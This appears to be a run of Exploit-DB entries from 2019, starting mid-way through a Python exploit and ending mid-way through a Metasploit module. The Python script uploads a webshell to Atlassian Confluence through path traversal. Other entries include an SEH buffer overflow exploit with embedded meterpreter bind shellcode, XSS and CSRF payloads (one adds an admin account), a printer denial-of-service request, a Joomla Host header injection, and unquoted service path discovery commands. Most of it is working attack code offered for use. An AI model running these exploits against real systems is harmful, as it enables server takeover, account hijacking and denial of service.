  print 'Atlassian token %s' % (ATLTOKEN)
  return 1

def do_upload(_pageid):
  if OS == 'Windows':
    upload_form_data = SHELLCODE_WINDOWS

    upload_req_params = {
'pageId': _pageid,
'filename': '../../../../../../../../../../' + ROOTFOLDER + 'assist.jsp',
'size': '3474',
'mimeType': 'text/plain',
'spaceKey': 'isis',
'atl_token': ATLTOKEN,
'name': 'assist'
    }
  elif OS == 'Linux':

    upload_form_data = SHELLCODE_LINUX
    upload_req_params = {
'pageId': _pageid,
'filename': '../../../../../../../../../../' + ROOTFOLDER + 'assist.jsp',
'size': '3516',
'mimeType': 'text/plain',
'spaceKey': 'isis',
'atl_token': ATLTOKEN,
'name': 'assist'
    }

  print 'Uploading webshell'
  r = session.post(UPLOADURL, params=upload_req_params, data=base64.decodestring(upload_form_data), allow_redirects=True, verify=False)#, proxies=proxies)
  if r.status_code == 200 and r.text.find('actionErrors') == -1:
    print 'Webshell uploaded'
    return 1    
  else:
    print 'Error while uploading webshell'
    return 0

def do_downloadall(_pageid):
  downloadall_req_params = {
'pageId': _pageid
  }
  print 'Moving webshell to the root directory of the web server'
  r = session.get(DOWNLOADALLURL, params=downloadall_req_params, allow_redirects=True, verify=False)#, proxies=proxies)
  r = session.get(WEBSHELLURL, allow_redirects=True, verify=False)#, proxies=proxies)

  if r.status_code == 200:
    print 'Webshell found'
    print 'Visit %s' % WEBSHELLURL
    return 1
  else:
    print 'Webshell not found'
    return 0
def do_getspaces():
  print 'Getting spaces'
  r = session.get(VIEWSPACESURL, allow_redirects=True, verify=False)#, proxies=proxies)
  spacelist = re.findall(r'\"key\":\"(\w+)\"', r.text)
  return spacelist

def do_createspace():
  print 'Creating space'
  upload_form_data = json.dumps({
"key": "TST1",
"name": "Example space",
"description": {
"plain": {
"value": "This is an example space",
"representation": "plain"
      }
    },
"metadata": {}
  })

  headers = {
'Content-Type': 'application/json'
  }
  r = session.post(VIEWSPACESURL, data=upload_form_data, headers=headers, allow_redirects=True, verify=False)#, proxies=proxies)

  matched = re.match(".*\"key\":\"(\w+)\".*", r.text)
  if matched:
    print 'Space created'
    return matched.group(1)
  else:
    print 'Space not created'
    return 0

def do_createpage(space):
  global PAGEID
  print 'Trying %s space' % (space)
  r = session.get(CREATEPAGEURL+space, allow_redirects=True, verify=False)#, proxies=proxies)
  if r.status_code == 200 and r.text.find('ajs-draft-id') != -1:
    soup = BeautifulSoup(r.text, 'html.parser')
    pageid = soup.find('meta', {'name': 'ajs-draft-id'})['content']
    pageid_pattern = re.compile("^(\d+)$")
    if pageid_pattern.match(pageid):    
      PAGEID = pageid
      print 'Page ID created %s' % (pageid)
      return 1
    else:
      print 'Unexpected Page ID format'
      return 0
  else:
    print 'Page ID not created'
    return 0  


def main():
  if do_authenticate() != 1:
    exit()

  if PAGEID != '':
    if PAGEID == '0':
      spaces = do_getspaces()
      for sp in spaces:
        if do_createpage(sp) == 1:
          if do_upload(PAGEID) != 1:
            continue
          if do_downloadall(PAGEID) != 1:
            continue
          else:
            exit()
      new_sp = do_createspace()
      if new_sp != 0:
        if do_createpage(new_sp) == 1:
          if do_upload(PAGEID) != 1:
            exit()
          if do_downloadall(PAGEID) != 1:
            exit()
          exit()
        else:
          exit()
      else:
        exit()
    if do_upload(PAGEID) != 1:
      exit()
    if do_downloadall(PAGEID) != 1:
      exit()
  else:
    ID = PAGEID_RANGE_START
    while ID <= PAGEID_RANGE_END:
      print 'Trying Page Id %d' % (ID)
      if do_upload(ID) == 1:
        if do_downloadall(ID) == 1:
          break
      ID += 1

if __name__ == "__main__":
    main()

# Exploit Title: Joomla 3.9.13 - 'Host' Header Injection
# Author: Pablo Santiago
# Date: 2019-11-12
# Vendor Homepage: https://www.joomla.org/
# Source: https://downloads.joomla.org/cms/joomla3/3-9-13/Joomla_3-9-13-Stable-Full_Package.zip?format=zip
# Version: 3.9.13
# CVE : N/A
# Tested on: Windows 10

#PoC

curl http://localhost/joomla/ -H "Host: exploit-db.com"

<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta charset="utf-8" />
<base href="http://exploit-db.com/joomla/" />
<meta name="description" content="javacript:alert(document.cookie)" />
<meta name="generator" content="Joomla! - Open Source Content
Management" />
<title>Home</title>
<link href="/joomla/index.php?format=feed&type=rss"
rel="alternate" type="application/rss+xml" title="RSS 2.0" />
<link href="/joomla/index.php?format=feed&type=atom"
rel="alternate" type="application/atom+xml" title="Atom 1.0" />
<link href="/joomla/templates/protostar/favicon.ico"
rel="shortcut icon" type="image/vnd.microsoft.icon" />
<link href="/joomla/templates/protostar/css/template.css?190197408a83fd286a9c42640a0f2f22"
rel="stylesheet" />
<link href="https://fonts.googleapis.com/css?family=Open+Sans"
rel="stylesheet" />
<style>

        h1, h2, h3, h4, h5, h6, .site-title {
                font-family: 'Open Sans', sans-serif;
        }
</style>
<script type="application/json" class="joomla-script-options
new">{"csrf.token":"d460ac322fbbb6ae67cc78034182d9e1","system.paths":{"root":"\/joomla","base":"\/joomla"},"system.keepalive":{"interval":840000,"uri":"\/joomla\/index.php\/component\/ajax\/?format=json"}}</script>
<script
src="/joomla/media/jui/js/jquery.min.js?190197408a83fd286a9c42640a0f2f22"></script>
<script
src="/joomla/media/jui/js/jquery-noconflict.js?190197408a83fd286a9c42640a0f2f22"></script>
<script
src="/joomla/media/jui/js/jquery-migrate.min.js?190197408a83fd286a9c42640a0f2f22"></script>
<script
src="/joomla/media/system/js/caption.js?190197408a83fd286a9c42640a0f2f22"></script>
<script
src="/joomla/media/jui/js/bootstrap.min.js?190197408a83fd286a9c42640a0f2f22"></script>
<script
src="/joomla/templates/protostar/js/template.js?190197408a83fd286a9c42640a0f2f22"></script>
<!--[if lt IE 9]><script
src="/joomla/media/jui/js/html5.js?190197408a83fd286a9c42640a0f2f22"></script><![endif]-->
<script
src="/joomla/media/system/js/core.js?190197408a83fd286a9c42640a0f2f22"></script>
<!--[if lt IE 9]><script
src="/joomla/media/system/js/polyfill.event.js?190197408a83fd286a9c42640a0f2f22"></script><![endif]-->
<script
src="/joomla/media/system/js/keepalive.js?190197408a83fd286a9c42640a0f2f22"></script>
<script>
jQuery(window).on('load',  function() {
                                new JCaption('img.caption');
jQuery(function($){ initTooltips(); $("body").on("subform-row-add",
initTooltips); function initTooltips (event, container) { container =
container || document;$(container).find(".hasTooltip").tooltip({"html":
true,"container": "body"});} });
</script>

</head>
<body class="site com_content view-featured no-layout no-task itemid-101">
<!-- Body -->
<div class="body" id="top">
<div class="container">
<!-- Header -->
<header class="header" role="banner">
<div class="header-inner clearfix">
<a class="brand pull-left"
href="/joomla/">
<span
class="site-title"
title="javacript:alert(document.cookie)">javacript:alert(document.cookie)</span>

</a>
<div class="header-search pull-right">

</div>
</div>
</header>

<div class="row-fluid">
<main
id="content" role="main" class="span9">
<!-- Begin Content -->

<div id="system-message-container">
</div>

<div class="blog-featured"
itemscope itemtype="https://schema.org/Blog">
<div class="page-header">
<h1>
        Home    </h1>
</div>



</div>

<div class="clearfix"></div>
<div aria-label="breadcrumbs"
role="navigation">
<ul itemscope itemtype="https://schema.org/BreadcrumbList"
class="breadcrumb">
<li>
                                You are here:  
</li>

<li
itemprop="itemListElement" itemscope
itemtype="https://schema.org/ListItem" class="active">
<span itemprop="name">
                                                Home
</span>
<meta itemprop="position" content="1">
</li>
</ul>
</div>

<!-- End Content -->
</main>

<div id="aside" class="span3">
<!-- Begin Right Sidebar -->
<div class="well
_menu"><h3 class="page-header">Main Menu</h3><ul class="nav menu
mod-list">
<li class="item-101 default current active"><a
href="/joomla/index.php">Home</a></li></ul>
</div><div class="well "><h3 class="page-header">Login Form</h3><form
action="/joomla/index.php" method="post" id="login-form"
class="form-inline">
<div class="userdata">
<div id="form-login-username" class="control-group">
<div class="controls">

<div class="input-prepend">
<span class="add-on">
<span
class="icon-user hasTooltip" title="Username"></span>
<label
for="modlgn-username" class="element-invisible">Username</label>
</span>
<input
id="modlgn-username" type="text" name="username" class="input-small"
tabindex="0" size="18" placeholder="Username" />
</div>
</div>
</div>
<div id="form-login-password" class="control-group">
<div class="controls">

<div class="input-prepend">
<span class="add-on">
<span
class="icon-lock hasTooltip" title="Password">
</span>
<label
for="modlgn-passwd" class="element-invisible">Password
</label>
</span>
<input
id="modlgn-passwd" type="password" name="password" class="input-small"
tabindex="0" size="18" placeholder="Password" />
</div>
</div>
</div>
<div
id="form-login-remember" class="control-group checkbox">
<label for="modlgn-remember"
class="control-label">Remember Me</label> <input id="modlgn-remember"
type="checkbox" name="remember" class="inputbox" value="yes"/>
</div>
<div id="form-login-submit"
class="control-group">
<div class="controls">
<button type="submit" tabindex="0"
name="Submit" class="btn btn-primary login-button">Log in</button>
</div>
</div>
<ul class="unstyled">
<li>
<a
href="/joomla/index.php/component/users/?view=remind&Itemid=101">
                                        Forgot your username?</a>
</li>
<li>
<a
href="/joomla/index.php/component/users/?view=reset&Itemid=101">
                                        Forgot your password?</a>
</li>
</ul>
<input type="hidden" name="option" value="com_users" />
<input type="hidden" name="task" value="user.login" />
<input type="hidden" name="return"
value="aHR0cDovL2V4cGxvaXQtZGIuY29tL2pvb21sYS8=" />
<input type="hidden"
name="d460ac322fbbb6ae67cc78034182d9e1" value="1" />       </div>
</form>
</div>
<!-- End Right Sidebar -->
</div>
</div>
</div>
</div>
<!-- Footer -->
<footer class="footer" role="contentinfo">
<div class="container">
<hr />

<p class="pull-right">
<a href="#top" id="back-top">
                                        Back to Top
</a>
</p>
<p>
&copy; 2019
javacript:alert(document.cookie)                    </p>
</div>
</footer>

</body>
</html>

#PoC Visual
https://imgur.com/a/IgO4ZxI

# Exploit Title: Bematech Printer MP-4200 - Denial of Service 
# Date: 2019-11-11
# Exploit Author: Jonatas Fil
# Vendor Homepage: https://www.bematech.com.br/
# Software Link: https://www.bematech.com.br/produto/mp-4200-th/
# Version: MP-4200 TH
# Tested on: Windows and Linux
# CVE : N/A

DoS Poc:
--------------------------------------------------------------------------------------------------------
POST /en/conf_admin.html HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/73.0.3683.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,pt;q=0.8
Cache-Control: max-age=0
Referer: http://TARGET/en/conf_admin.html
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

admin=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&person=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&SUBMIT_ADMIN=Submit

--------------------------------------------------------------------------------------------------------
XSS Poc:
--------------------------------------------------------------------------------------------------------
POST /en/conf_admin.html HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/73.0.3683.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,pt;q=0.8
Cache-Control: max-age=0
Referer: http://printer.com/en/conf_admin.html
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

admin=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&person=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&SUBMIT_ADMIN=Submit

# Exploit Title: Wondershare Application Framework Service - "WsAppService"  Unquote Service Path
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: chuyreds
# Vendor Homepage: https://www.wondershare.com/
# Software Link: https://www.wondershare.com/drfone/
# Version: 2.4.3.231
# Tested on: Windows 10 Home Single Language
# CVE : N/A

#Service Info:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

Wondershare Application Framework Service  WsAppService  C:\Program Files (x86)\Wondershare\WAF\2.4.3.231\WsAppService.exe  Auto


C:\Users\user>sc query WsAppService

NOMBRE_SERVICIO: WsAppService
        TIPO               : 10  WIN32_OWN_PROCESS
        ESTADO             : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        CÓD_SALIDA_WIN32   : 0  (0x0)
        CÓD_SALIDA_SERVICIO: 0  (0x0)
        PUNTO_COMPROB.     : 0x0
        INDICACIÓN_INICIO  : 0x0

# Exploit Title: Control Center PRO 6.2.9 - Local Stack Based BufferOverflow (SEH)
# Date: 2019-11-09
# Exploit Author: Samir sanchez garnica @sasaga92
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/products/list.php?ec_idx1=P610
# Software Link: http://www.webgateinc.com/wgi/eng/products/list.php?ec_idx1=P610&ptype=view&page=&p_idx=90&tab=download&#tabdown
# Version: 6.2.9
# Tested: Windows 10 pro N and Windows XP SP3
# CVE : N/A

#!/usr/bin/python
'''
Existe una vulnerabilidad de desbordamiento de pila, una vez se intenta hacer uso del modulo crear usuario, en el campo username/nombre, copiando una cantidad
considerable de strings, la cual no es controlada por el software y se produce una sobreescritura del SEH)
'''

import sys
import random
import string
import struct
import argparse

def pattern_create(_type,_length):
  _type = _type.split("")

  if _type[0] == "trash":
    return _type[1] * _length
  elif _type[0] == "random":
    return ''.join(random.choice(string.lowercase) for i in range(_length))
  elif _type[0] == "pattern":
    _pattern = ''
    _parts = ['A', 'a', '0']
    while len(_pattern) != _length:
      _pattern += _parts[len(_pattern) % 3]
      if len(_pattern) % 3 == 0:
        _parts[2] = chr(ord(_parts[2]) + 1)
        if _parts[2] > '9':
          _parts[2] = '0'
          _parts[1] = chr(ord(_parts[1]) + 1)
          if _parts[1] > 'z':
            _parts[1] = 'a'
            _parts[0] = chr(ord(_parts[0]) + 1)
            if _parts[0] > 'Z':
              _parts[0] = 'A'
    return _pattern
  else:
    return "Not Found"


def generate_file(_name_file, _payload):
  print _payload
  print "[+] Creando Archivo malicioso"
  _name_file = open(_name_file,"w+")
  _name_file.write(_payload)
  _name_file.close()
  print "[+] Payload de {0} bytes generado, exitosamente.".format(len(_payload))

def main():
    _parser = argparse.ArgumentParser()
    _parser.add_argument("--os", dest="os", help="introduce el os, win10, winxp", required=True)
    _args = _parser.parse_args()

    #badchars 0x0a, 0x0d, >= 0x80

    _name_exploit = "ControlCenterPRO_v6_2_9.txt"

    #sudo ./msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -e x86/alpha_mixed EXITFUNC=seh -f c -b '\x00\x0a\x0d' BufferRegister=ESP
    _shellcode = ("\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x69\x78\x4e\x62\x37\x70"
"\x43\x30\x45\x50\x31\x70\x6f\x79\x4d\x35\x46\x51\x6f\x30\x50"
"\x64\x4e\x6b\x72\x70\x50\x30\x4e\x6b\x46\x32\x64\x4c\x6e\x6b"
"\x71\x42\x32\x34\x6c\x4b\x61\x62\x34\x68\x66\x6f\x6e\x57\x30"
"\x4a\x76\x46\x76\x51\x49\x6f\x4e\x4c\x47\x4c\x63\x51\x63\x4c"
"\x75\x52\x76\x4c\x35\x70\x49\x51\x58\x4f\x54\x4d\x75\x51\x4b"
"\x77\x6b\x52\x39\x62\x46\x32\x53\x67\x4c\x4b\x50\x52\x76\x70"
"\x4c\x4b\x71\x5a\x77\x4c\x6e\x6b\x42\x6c\x46\x71\x32\x58\x6a"
"\x43\x61\x58\x56\x61\x68\x51\x76\x31\x4c\x4b\x73\x69\x55\x70"
"\x57\x71\x4b\x63\x4e\x6b\x67\x39\x66\x78\x6d\x33\x56\x5a\x32"
"\x69\x6c\x4b\x35\x64\x4c\x4b\x55\x51\x6a\x76\x50\x31\x59\x6f"
"\x4c\x6c\x39\x51\x58\x4f\x64\x4d\x35\x51\x5a\x67\x54\x78\x79"
"\x70\x53\x45\x5a\x56\x67\x73\x71\x6d\x49\x68\x45\x6b\x73\x4d"
"\x31\x34\x63\x45\x68\x64\x51\x48\x4c\x4b\x70\x58\x44\x64\x37"
"\x71\x49\x43\x72\x46\x4c\x4b\x36\x6c\x52\x6b\x4e\x6b\x30\x58"
"\x77\x6c\x36\x61\x4a\x73\x4e\x6b\x77\x74\x4c\x4b\x56\x61\x7a"
"\x70\x6e\x69\x42\x64\x45\x74\x71\x34\x63\x6b\x61\x4b\x51\x71"
"\x52\x79\x52\x7a\x72\x71\x39\x6f\x39\x70\x73\x6f\x51\x4f\x73"
"\x6a\x4e\x6b\x64\x52\x58\x6b\x6c\x4d\x73\x6d\x61\x78\x55\x63"
"\x77\x42\x55\x50\x67\x70\x42\x48\x73\x47\x54\x33\x36\x52\x63"
"\x6f\x46\x34\x73\x58\x52\x6c\x63\x47\x44\x66\x56\x67\x69\x6f"
"\x48\x55\x6d\x68\x5a\x30\x45\x51\x77\x70\x37\x70\x75\x79\x58"
"\x44\x70\x54\x42\x70\x53\x58\x44\x69\x4f\x70\x30\x6b\x57\x70"
"\x39\x6f\x5a\x75\x42\x4a\x34\x4b\x42\x79\x52\x70\x4d\x32\x39"
"\x6d\x62\x4a\x46\x61\x32\x4a\x37\x72\x32\x48\x69\x7a\x66\x6f"
"\x69\x4f\x39\x70\x4b\x4f\x4b\x65\x4e\x77\x30\x68\x47\x72\x63"
"\x30\x52\x31\x33\x6c\x4e\x69\x7a\x46\x61\x7a\x56\x70\x61\x46"
"\x30\x57\x75\x38\x6b\x72\x69\x4b\x44\x77\x73\x57\x79\x6f\x69"
"\x45\x4d\x55\x6b\x70\x63\x45\x46\x38\x52\x77\x50\x68\x38\x37"
"\x48\x69\x45\x68\x4b\x4f\x69\x6f\x59\x45\x46\x37\x52\x48\x71"
"\x64\x68\x6c\x67\x4b\x39\x71\x59\x6f\x6a\x75\x52\x77\x6e\x77"
"\x45\x38\x63\x45\x32\x4e\x42\x6d\x30\x61\x59\x6f\x4e\x35\x31"
"\x7a\x35\x50\x30\x6a\x46\x64\x50\x56\x52\x77\x61\x78\x47\x72"
"\x58\x59\x59\x58\x53\x6f\x39\x6f\x49\x45\x6b\x33\x48\x78\x63"
"\x30\x73\x4e\x64\x6d\x4c\x4b\x56\x56\x53\x5a\x53\x70\x75\x38"
"\x77\x70\x52\x30\x63\x30\x45\x50\x33\x66\x50\x6a\x53\x30\x51"
"\x78\x70\x58\x79\x34\x31\x43\x4a\x45\x79\x6f\x4e\x35\x4e\x73"
"\x56\x33\x51\x7a\x67\x70\x43\x66\x61\x43\x56\x37\x75\x38\x35"
"\x52\x79\x49\x48\x48\x71\x4f\x4b\x4f\x7a\x75\x6e\x63\x6b\x48"
"\x77\x70\x51\x6e\x76\x67\x36\x61\x39\x53\x74\x69\x6b\x76\x44"
"\x35\x78\x69\x7a\x63\x6f\x4b\x59\x6e\x76\x6e\x30\x32\x6b\x5a"
"\x61\x7a\x33\x30\x56\x33\x39\x6f\x78\x55\x63\x5a\x65\x50\x79"
"\x53\x41\x41")

    _offset = 664
    _padding = 40000
    _nseh = "\x42\x42\x77\x08"
    _seh = struct.pack("<L", 0x637c1571) #0x0258107E pop edi # pop esi # retn lib_VoiceEngine_dll32.dll 3 8 one-reg, stack edi, esi  nonull, ascii

    if _args.os.lower() == "win10":
      _esp_prepend =  "\x54\x58\x66\x05\x34\x18\x50\x5C"
      _inject = pattern_create("trash A",_offset)
      _inject += _nseh
      _inject += _seh
      _inject += "A" * 4
      _inject += _esp_prepend

      _inject += _shellcode
      _inject += pattern_create("trash D",_padding-len(_inject))

    elif _args.os.lower() == "winxp":
      _esp_prepend = "\x54\x58\x66\x05\x7C\x0C\x50\x5C"
      _inject = pattern_create("trash A",_offset)
      _inject += _nseh
      _inject += _seh
      _inject += "A" * 4
      _inject += _esp_prepend
      _inject += "A" * 16

      _inject += _shellcode
      _inject += pattern_create("trash D",_padding-len(_inject))
    else:
      print("[-] os select is not support, select win10 or winxp")


    generate_file(_name_exploit, _inject)

if __name__ == "__main__":
    main()

# Exploit Title: Alps Pointing-device Controller 8.1202.1711.04 - 'ApHidMonitorService' Unquoted Service Path
# Date: 2019-11-12
# Exploit Author: Mario Rodriguez
# Vendor Homepage: https://www.alps.com/e/
# Software Link: https://www.alps.com/e/
# Version: 8.1202.1711.04
# Tested on: Windows 10 Home x64 Spanish

#The Alps Pointing-device controller installs a service with an unquoted path
#which could be used as a local privilege escalation vulnerability. To exploit this vulnerability,
#an executable file could be placed in the path of the service and after rebooting the system or
#restarting the service the malicious code will be executed with elevated privileges.

#Step to discover the vulnerability

C:\Users\user>wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Alps HID Monitor Service    ApHidMonitorService     C:\Program Files\Apoint2K\HidMonitorSvc.exe     Auto

C:\Users\user>sc qc ApHidMonitorService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ApHidMonitorService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Apoint2K\HidMonitorSvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Alps HID Monitor Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

# Exploit Title: LavaLite CMS - 5.7  - Cross-Site Scripting
# Date: 09-10-2019
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://lavalite.org/
# Software Link : https://github.com/LavaLite/cms
# Software : LavaLite CMS - v 5.7
# Version : v 5.7
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : CVE-2019-18883

# The XSS vulnerability has been discovered in the LavaLite CMS web application software due to its vulnerability in the source code in version 5.7.
# XSS exists in Lavalite 5.7 via the admin/profile name and designation field.

# HTTP POST Request :

POST /admin/profile HTTP/1.1
Host: demo.lavalite.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 326
Origin: http://demo.lavalite.org
Connection: close
Referer: http://demo.lavalite.org/admin/profile
Cookie: XSRF-TOKEN=eyJpdiI6Ik9uNGJSNVlPWjdrQjZPOEFnK1lQVVE9PSIsInZhbHVlIjoibCt3Z1ZreWc3a2dlbTRjdzd4bGxEY1wveHdPM1FtUVwvdE9VekZcLytGVHoxVkRWMHp4Nzh6WGxcL1lZVkR1THRxNGc1b0dxb2h5WUpyUHQ0VzBuY0pYK3FnPT0iLCJtYWMiOiI5YjA4ZmVmZjFjYmJlYTk4NGMzN2ZjNWQ2ZTVlNTVhODcwNTk5OWIxMWVjZDUyYzAzN2RiNzc2ZDA2MzU0MzI1In0%3D; laravel_session=eyJpdiI6IjBKb0U5Y1BrbmRnNUNtNGtnRmpQZlE9PSIsInZhbHVlIjoiakhzQVwvakRkV0tjWmtidHNMcGNRQjJHMGRYSkZ3S0x5TW9EUmhmWWtCR0d6UzNaY1k5OHVOMTJVcFFTanBpSmhEeTR1RnNJOVwvZVF6MGN2dVNxSFpXUT09IiwibWFjIjoiNThjZDBiNmJmMDI5OTg0ZTMzYzFmNGEzN2I0MWViNjU5MDU1MjcxNWFlYjMzYzE2MDM2MWE5ZjIxOGM2OTE0ZCJ9; _ga=GA1.2.17118095.1573277553; _gid=GA1.2.2027008389.1573277553
Upgrade-Insecure-Requests: 1

name=Super+User"><script>alert("ismailtasdelen")</script>&dob=15+May+2014&designation=Super+User"><script>alert(document.cookie)</script>&mobile=&phone=&file=&photo%5B0%5D%5Bcaption%5D=&photo%5B0%5D%5Bfile%5D=&photo%5B0%5D%5Bfolder%5D=&photo%5B0%5D%5Bpath%5D=&photo%5B0%5D%5Btime%5D=&address=&street=&city=&district=&state=&country=&web=http%3A%2F%2Flitepie.org&_token=ErmRyuzAgksfnvgmp7ew7xPQlcE7hsmTguPZ3QGS

# Exploit Title: RISE - Ultimate Project Manager v2.3 - Cross-Site Request Forgery (Add Admin)
# Date: 11-11-2019
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: http://fairsketch.com/
# Software Link : https://codecanyon.net/item/rise-ultimate-project-manager/15455641
# Software : RISE - Ultimate Project Manager
# Product Version:  Version 2.3
# Vulernability Type : Cross-Site Request Forgery
# Vulenrability : Cross-Site Request Forgery (Add Admin)
# CVE : CVE-2019-18884

# index.php/team_members/add_team_member in RISE Ultimate Project Manager v2.3 has CSRF for adding authorized users.

# CSRF PoC :

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://rise.fairsketch.com/index.php/team_members/add_team_member" method="POST">
<input type="hidden" name="first_name" value="Ismail" />
<input type="hidden" name="last_name" value="Tasdelen" />
<input type="hidden" name="address" value="ismailtasdelen@protonmail.com" />
<input type="hidden" name="phone" value="+12345678975" />
<input type="hidden" name="gender" value="male" />
<input type="hidden" name="job_title" value="Security Researcher" />
<input type="hidden" name="salary" value="100000" />
<input type="hidden" name="salary_term" value="12" />
<input type="hidden" name="date_of_hire" value="2019-11-11" />
<input type="hidden" name="email" value="ismailtasdelen@protonmail.com" />
<input type="hidden" name="password" value="iQ.grF10" />
<input type="hidden" name="role" value="1" />
<input type="hidden" name="email_login_details" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

# Exploit Title: Adrenalin Core HCM 5.4.0 - 'ReportID' Reflected Cross-Site Scripting
# Google Dork: NA
# Date: 2018-09-06
# Exploit Author: Rishu Ranjan
# Vendor Homepage: https://www.myadrenalin.com/
# Software Link: https://www.myadrenalin.com/core-hcm/
# Version: 5.4.0 (REQUIRED)
# Tested on: NA
# CVE : CVE-2018-12653
# Type: webapps
# Platform: Multiple

# Description
# ====================
# A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in
# Adrenalin Core HCM v5.4.0 HRMS Software. The user supplied input containing
# malicious JavaScript is echoed back as it is in JavaScript code in an HTML
# response.

URL
====================
https://
<HOST:PORT>/myadrenalin/RPT/SSRSDynamicEditReports.aspx?ReportId=109LWFREPORT.RDL15822%27%3balert(%22Reflected%20XSS%22)%2f%2f773&Export=0

Parameter
====================
ReportId

Attack Type
====================
Remote

CVE Impact Other
====================
Allows an attacker to input malicious JavaScript which can steal cookie,
redirect them to other malicious website, etc.

Reference
====================
https://nvd.nist.gov/vuln/detail/CVE-2018-12653
https://www.knowcybersec.com/2019/02/CVE-2018-12653-reflected-XSS.html

Discoverer
====================
Rishu Ranjan

# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: max7253
# Vendor Homepage: https://www.atlassian.com
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: 6.15.1
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu
# CVE : N/A
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
  super(update_info(info,
'Name'      => "Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)",
'Description'    => %q{
  To use this exploit you should specify the following variables:
  USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.
  ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.
  Typical ROOTFOLDER locations are:
  Windows: Program Files/Atlassian/Confluence/confluence/pages/
  Linux: opt/atlassian/confluence/confluence/pages/
  Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).
  PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.
  For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.
  If PAGEID is set to 0, the script will try to create a new Page ID. If it fails, it will try to create a new space and create a Page ID there.
  If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range.
  The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the shellcode, then imitates the 'Download all' action to place the shellcode to the root directory of the web server.
  Tested on Atlassian v6.15.1. on Linux and Windows.
  Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.
  },
'License'      => MSF_LICENSE,
'Author'      =>
  [
'Maxim Guslyaev'      # Metasploit module
  ],
'References'    =>
  [
    [ 'CVE', '2019-3398' ],
    [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html' ],
    [ 'URL', 'https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181'],
    [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-3398']
  ],
'Privileged'    => false,
'Platform'    => %w{ linux win },
'Targets'      =>
  [
